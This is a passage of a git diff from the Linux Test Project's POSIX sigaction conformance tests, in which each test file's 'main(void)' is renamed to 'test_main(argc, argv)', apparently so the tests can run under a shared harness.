char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-11.c index ea3e41e0..749ff370 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-11.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-12.c index 5df208ce..b7f51afa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-12.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-13.c index d4044d9c..b9afce4e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-13.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-14.c index 01758234..5b726886 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-14.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-15.c index a4dedd19..e08f2cfa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-15.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-16.c index 152a5f8e..76146a73 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-16.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-17.c index 9bddb412..02214bd8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-17.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-18.c index 9ce3e5af..923426df 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-18.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-19.c index 9ce3e5af..923426df 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-19.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-2.c index 9ce3e5af..923426df 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-2.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-20.c index 4270861e..eea70bf6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-20.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-21.c index 42c19d27..898a767e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-21.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-22.c index 34b7912b..9f4f356f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-22.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-23.c index 6d29caf1..8a00cfff 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-23.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-24.c index 55651486..3811ac2d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-24.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-25.c index c606099e..bf5f11ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-25.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-26.c index eb9e26eb..0d28f647 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-26.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-3.c index 00bca900..5d3c18a0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-3.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-4.c index 549665c7..854c7ed7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-4.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-5.c index 52759602..a586b904 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-5.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-6.c index 833f5915..d766e4fd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-6.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-7.c index 73cb9464..0a831e6c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-7.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-8.c index 7d178481..b6c8e99c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-8.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-9.c index 75dadd75..aa7769dd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-9.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/16-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/16-1.c index bae8637c..d504d5e6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/16-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/16-1.c @@ -205,7 +205,7 @@ done: return status; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; struct sig_info *s = &sigs[0]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-1.c index bb5d6058..8bba4ffa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-1.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-10.c index 68b21e92..5d150196 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-10.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-11.c index 5c3584e7..f24393bd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-11.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-12.c index cf9b4560..fab4324b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-12.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-13.c index 36d1da95..b123dc86 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-13.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-14.c index 46e88137..c8f921bc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-14.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-15.c index c7a531d0..f3b52c6c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-15.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-16.c index ff758364..29017430 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-16.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-17.c index 208dc8ed..9a54e4fe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-17.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-18.c index 4e2ec064..f16c687b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-18.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-19.c index baede765..442af725 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-19.c @@ -32,7 +32,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-2.c index 5f4c1050..14bfdda4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-2.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-20.c index a9062780..b8a4b081 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-20.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-21.c index 4cf3b2d8..5afec967 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-21.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-22.c index 13adff8e..31c01f86 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-22.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-23.c index 8569ba58..c2fbe5c8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-23.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-24.c index 2969f11a..ebe96e94 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-24.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-25.c index 16fa963d..80342f88 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-25.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-26.c index 4285781b..e6e498d8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-26.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-3.c index 0dffc9f2..1c94c537 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-3.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-4.c index 8158a700..3decf496 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-4.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-5.c index 39df520a..9d77d560 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-5.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-6.c index 96d4901b..21574149 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-6.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-7.c index 1ba68523..c929da9c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-7.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-8.c index 4911c4f4..2812c0f3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-8.c +++ 